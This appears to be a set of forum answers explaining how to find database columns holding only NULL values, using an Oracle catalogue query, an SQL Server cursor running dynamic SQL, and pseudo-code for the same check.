That is, for each column in each table do the query:
SELECT COUNT(DISTINCT field) FROM tableName
and concentrate on those which return 1 as a result.
SELECT t.column_name
FROM user_tab_columns t
WHERE t.nullable = 'Y' AND t.table_name = 'table name here' AND t.num_distinct = 0;
An updated version of 'user2466387' version, with an additional small test which can improve performance, because it's useless to test non nullable columns:
AND IS_NULLABLE = 'YES'
The full code:
SET NOCOUNT ON;
DECLARE
#ColumnName sysname
,#DataType nvarchar(128)
,#cmd nvarchar(max)
,#TableSchema nvarchar(128) = 'dbo'
,#TableName sysname = 'TableName';
DECLARE getinfo CURSOR FOR
SELECT
c.COLUMN_NAME
,c.DATA_TYPE
FROM
INFORMATION_SCHEMA.COLUMNS AS c
WHERE
c.TABLE_SCHEMA = #TableSchema
AND c.TABLE_NAME = #TableName
AND IS_NULLABLE = 'YES';
OPEN getinfo;
FETCH NEXT FROM getinfo INTO #ColumnName, #DataType;
WHILE ##FETCH_STATUS = 0
BEGIN
SET #cmd = N'IF NOT EXISTS (SELECT * FROM ' + #TableSchema + N'.' + #TableName + N' WHERE [' + #ColumnName + N'] IS NOT NULL) RAISERROR(''' + #ColumnName + N' (' + #DataType + N')'', 0, 0) WITH NOWAIT;';
EXECUTE (#cmd);
FETCH NEXT FROM getinfo INTO #ColumnName, #DataType;
END;
CLOSE getinfo;
DEALLOCATE getinfo;
You might need to clarify a bit. What are you really trying to accomplish? If you really want to find out the column names that only contain null values, then you will have to loop through the scheama and do a dynamic query based on that.
I don't know which DBMS you are using, so I'll put some pseudo-code here.
for each col
begin
#cmd = 'if not exists (select * from tablename where ' + col + ' is not null begin print ' + col + ' end'
exec(#cmd)
end